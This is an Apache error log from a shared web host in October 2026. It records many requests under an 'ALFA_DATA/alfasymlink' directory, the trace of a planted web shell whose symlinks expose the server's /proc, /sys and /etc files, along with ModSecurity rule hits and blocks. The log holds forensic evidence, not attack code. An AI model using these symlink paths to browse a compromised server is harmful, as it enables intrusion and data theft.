[Sun Oct 25 22:25:09.781280 2026] [ssl:error] [pid 2943111:tid 2943111] (6)No such device or address: [client 185.191.171.10:42958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:10.230953 2026] [ssl:error] [pid 2943096:tid 2943096] (70014)End of file found: [client 52.3.26.180:33937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:10.757263 2026] [ssl:error] [pid 2943064:tid 2943064] (6)No such device or address: [client 185.191.171.10:42964] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:18.221741 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 100.29.107.38:46716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:22.215323 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 52.4.213.199:28362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:30.314164 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 3.232.39.98:63238] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:34.196404 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.204.150.196:24646] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:38.205271 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 52.44.148.203:26104] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:46.393525 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 54.225.199.17:45986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:50.343308 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 35.169.102.85:41224] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/subsystem/drivers_probe
[Sun Oct 25 22:25:51.579764 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 185.191.171.7:28394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/validate
[Sun Oct 25 22:25:58.237082 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 52.45.15.233:20452] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:26:02.204132 2026] [core:error] [pid 2943094:tid 2943094] (13)Permission denied: [client 50.16.72.185:16699] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:05.0/resource4
[Sun Oct 25 22:26:06.240178 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 18.210.58.238:55704] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/firmware_node/physical_node/driver/new_id
[Sun Oct 25 22:26:18.212666 2026] [core:error] [pid 2943094:tid 2943094] (13)Permission denied: [client 107.22.208.39:34294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/pci-stub/remove_id
[Sun Oct 25 22:26:22.440044 2026] [ssl:error] [pid 2943087:tid 2943087] (22)Invalid argument: [client 50.19.221.48:5289] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:26:24.397234 2026] [core:error] [pid 2942316:tid 2942316] (13)Permission denied: [client 185.191.171.15:20470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/objs_per_slab
[Sun Oct 25 22:26:26.201000 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 54.83.23.103:30248] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:26:30.805577 2026] [core:error] [pid 2943064:tid 2943064] (13)Permission denied: [client 54.83.23.103:11892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/driver/module/uevent
[Sun Oct 25 22:26:34.461314 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 52.4.229.9:8478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:26:38.192530 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 52.203.68.145:36907] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:26:42.310786 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.4.229.9:11845] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:26:54.200933 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 44.205.74.196:22753] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:27:14.300160 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 34.196.6.199:26263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:27:14.682893 2026] [security2:error] [pid 2938926:tid 2938926] [client 107.172.76.131:50334] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at66dGDNiM07rt0CLXuTGAAAACE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 22:27:14.682953 2026] [security2:error] [pid 2938926:tid 2938926] [client 107.172.76.131:50334] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at66dGDNiM07rt0CLXuTGAAAACE"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 22:27:30.337218 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 44.205.180.155:27374] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:27:34.277369 2026] [ssl:error] [pid 2938930:tid 2938930] (5)Input/output error: [client 100.28.44.58:8404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:27:38.169157 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.203.152.231:1690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:27:42.175836 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 34.231.156.59:16469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:27:46.282166 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.239.85.139:8401] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:27:50.149326 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 54.84.93.8:11742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:28:06.196370 2026] [security2:error] [pid 2942316:tid 2942316] [client 54.209.100.30:59465] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup1/device/PNP0400:00/"] [unique_id "at66trZn9l1fDWzMN3C8-wAAAAQ"]
[Sun Oct 25 22:28:06.196424 2026] [security2:error] [pid 2942316:tid 2942316] [client 54.209.100.30:59465] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup1/device/PNP0400:00/"] [unique_id "at66trZn9l1fDWzMN3C8-wAAAAQ"]
[Sun Oct 25 22:28:10.166618 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 100.28.49.152:22865] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:28:14.186312 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 52.3.102.51:5106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:28:14.186545 2026] [security2:error] [pid 2943087:tid 2943087] [client 52.3.102.51:5106] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/subsystem/devices/cpu0/driver/cpu1/node0/memory15/valid_zones"] [unique_id "at66vgSn5HKIYfqg0eAjkgAAADc"]
[Sun Oct 25 22:28:14.186592 2026] [security2:error] [pid 2943087:tid 2943087] [client 52.3.102.51:5106] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/subsystem/devices/cpu0/driver/cpu1/node0/memory15/valid_zones"] [unique_id "at66vgSn5HKIYfqg0eAjkgAAADc"]
[Sun Oct 25 22:28:14.461678 2026] [authz_core:error] [pid 2943462:tid 2943462] [client 158.173.77.104:41917] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:28:18.539201 2026] [authz_core:error] [pid 2934778:tid 2934778] [client 158.173.77.104:59761] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:28:18.627885 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 44.217.255.167:61419] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:28:26.140899 2026] [ssl:error] [pid 2943096:tid 2943096] (70014)End of file found: [client 3.210.223.61:37878] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:28:38.218685 2026] [core:error] [pid 2943462:tid 2943462] (13)Permission denied: [client 185.191.171.14:43572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/partial
[Sun Oct 25 22:28:42.137102 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 18.204.89.56:58752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:28:46.498361 2026] [ssl:error] [pid 2938930:tid 2938930] (5)Input/output error: [client 44.209.35.147:43078] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:28:46.498554 2026] [security2:error] [pid 2938930:tid 2938930] [client 44.209.35.147:43078] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/power/autosuspend_delay_ms"] [unique_id "at663vG890ms4v-mqmcZpQAAACU"]
[Sun Oct 25 22:28:46.498578 2026] [security2:error] [pid 2938930:tid 2938930] [client 44.209.35.147:43078] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/power/autosuspend_delay_ms"] [unique_id "at663vG890ms4v-mqmcZpQAAACU"]
[Sun Oct 25 22:28:50.323748 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 3.211.105.134:52666] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:29:02.137062 2026] [core:error] [pid 2938930:tid 2938930] (13)Permission denied: [client 3.93.211.16:27022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/exar_serial/unbind
[Sun Oct 25 22:29:14.129691 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.194.165.45:58228] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:29:28.516626 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 85.208.96.194:19162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/bin/c89
[Sun Oct 25 22:29:38.187027 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 54.235.125.129:60836] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:29:42.173090 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 54.204.12.115:41415] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:29:46.133160 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 44.206.65.8:34200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:29:50.129503 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 52.2.191.202:27057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:29:59.391541 2026] [security2:error] [pid 2943071:tid 2943071] [client 107.172.76.131:50318] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at67G4aTx_-S4WG0nlpbfAAAACM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 22:29:59.391574 2026] [security2:error] [pid 2943071:tid 2943071] [client 107.172.76.131:50318] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at67G4aTx_-S4WG0nlpbfAAAACM"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 22:30:06.230514 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 52.3.104.214:54413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:30:26.315873 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 44.216.172.204:33923] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:30:28.769589 2026] [core:error] [pid 2938904:tid 2938904] (13)Permission denied: [client 85.208.96.198:18148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libcrc32c/sections/__ksymtab
[Sun Oct 25 22:30:50.122826 2026] [ssl:error] [pid 2934778:tid 2934778] (5)Input/output error: [client 98.82.39.241:6430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:30:58.282710 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 18.206.47.187:63166] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:31:10.139832 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 35.170.205.140:48565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:31:10.743356 2026] [security2:error] [pid 2946688:tid 2946688] [client 43.162.103.213:41464] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at67bkUGx1SqgUJwHDVoHgAAAAM"]
[Sun Oct 25 22:31:10.744646 2026] [authz_core:error] [pid 2946688:tid 2946688] [client 43.162.103.213:41464] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:31:14.155083 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 44.212.232.231:15789] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:31:18.130079 2026] [ssl:error] [pid 2946688:tid 2946688] (70014)End of file found: [client 52.71.218.25:16600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:31:22.116726 2026] [core:error] [pid 2938904:tid 2938904] (13)Permission denied: [client 44.221.105.234:37766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS2/xmit_fifo_size
[Sun Oct 25 22:31:30.144290 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 3.210.223.61:48585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:31:34.297844 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 52.71.203.206:27966] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:31:40.659529 2026] [security2:error] [pid 2938904:tid 2938904] [client 45.156.87.44:22348] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at67jDrbYhOoSbkbrVN5wQAAABs"]
[Sun Oct 25 22:31:40.660315 2026] [authz_core:error] [pid 2938904:tid 2938904] [client 45.156.87.44:22348] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:31:41.120624 2026] [authz_core:error] [pid 2943071:tid 2943071] [client 45.156.87.44:64934] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:32:02.138685 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 3.208.146.193:8797] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:32:06.114791 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 98.82.107.102:34803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:32:26.169005 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 18.215.24.66:24898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:32:30.133395 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 50.19.79.213:42554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:32:34.270266 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.147.182.90:26783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:32:42.124714 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 52.4.76.156:48426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:32:58.208048 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 3.213.106.226:39324] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:33:10.149232 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.213.46.222:9577] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:33:24.886030 2026] [security2:error] [pid 2930612:tid 2930612] [client 16.216.88.192:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/215_mod_headers.conf"] [unique_id "at679JHtMtN5e4U4U0bitAAAAAI"]
[Sun Oct 25 22:33:24.886509 2026] [security2:error] [pid 2930612:tid 2930612] [client 16.216.88.192:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/215_mod_headers.conf"] [unique_id "at679JHtMtN5e4U4U0bitAAAAAI"]
[Sun Oct 25 22:33:24.886902 2026] [security2:error] [pid 2930612:tid 2930612] [client 16.216.88.192:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/215_mod_headers.conf"] [unique_id "at679JHtMtN5e4U4U0bitAAAAAI"]
[Sun Oct 25 22:33:34.132969 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 54.167.32.123:24244] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:33:42.146136 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 52.70.209.13:10833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:33:46.929518 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 185.191.171.19:52824] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:33:54.132259 2026] [ssl:error] [pid 2946858:tid 2946858] (70014)End of file found: [client 3.230.69.161:51477] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:34:02.175881 2026] [core:error] [pid 2943071:tid 2943071] (13)Permission denied: [client 35.169.119.108:34392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/QEMU0002:00/driver/unbind
[Sun Oct 25 22:34:06.276213 2026] [ssl:error] [pid 2934778:tid 2934778] (5)Input/output error: [client 18.204.152.114:19454] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:34:10.114627 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 3.221.156.96:5786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:34:14.143575 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.212.86.97:31491] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:34:22.128060 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 54.204.12.115:10096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/device/driver/bind
[Sun Oct 25 22:34:28.535111 2026] [security2:error] [pid 2938904:tid 2938904] [client 43.133.187.11:42848] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at68NDrbYhOoSbkbrVN5yQAAABs"], referer: http://sherwinpinturas.com
[Sun Oct 25 22:34:28.547695 2026] [authz_core:error] [pid 2938904:tid 2938904] [client 43.133.187.11:42848] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sun Oct 25 22:34:42.129059 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 52.204.253.129:8183] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:34:54.108160 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 54.166.104.83:36788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:35:06.145570 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 44.213.36.21:55113] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:35:34.247541 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 18.209.137.234:16717] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:35:38.120549 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 18.211.148.239:35047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:35:42.140833 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 3.223.134.5:13803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:35:42.713935 2026] [core:error] [pid 2946858:tid 2946858] (13)Permission denied: [client 185.191.171.12:58490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__param
[Sun Oct 25 22:35:50.126200 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 35.171.117.160:43734] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:36:05.830592 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 185.191.171.18:20260] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:36:10.146613 2026] [core:error] [pid 2938926:tid 2938926] (13)Permission denied: [client 3.221.156.96:16958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty32/subsystem/tty7/subsystem/ttyS3/device/driver/bind
[Sun Oct 25 22:36:54.139431 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 34.194.14.255:54045] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:37:02.113815 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 54.83.56.1:25457] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:37:06.319106 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 85.208.96.210:59026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/sanity_checks
[Sun Oct 25 22:37:14.138780 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 100.27.153.9:22529] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:37:22.112088 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 54.86.59.155:42430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:37:38.253085 2026] [ssl:error] [pid 2946858:tid 2946858] (70014)End of file found: [client 34.231.156.59:3714] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:37:46.111199 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 35.171.117.160:13906] AH02013: coalesce failed to read from data bucket
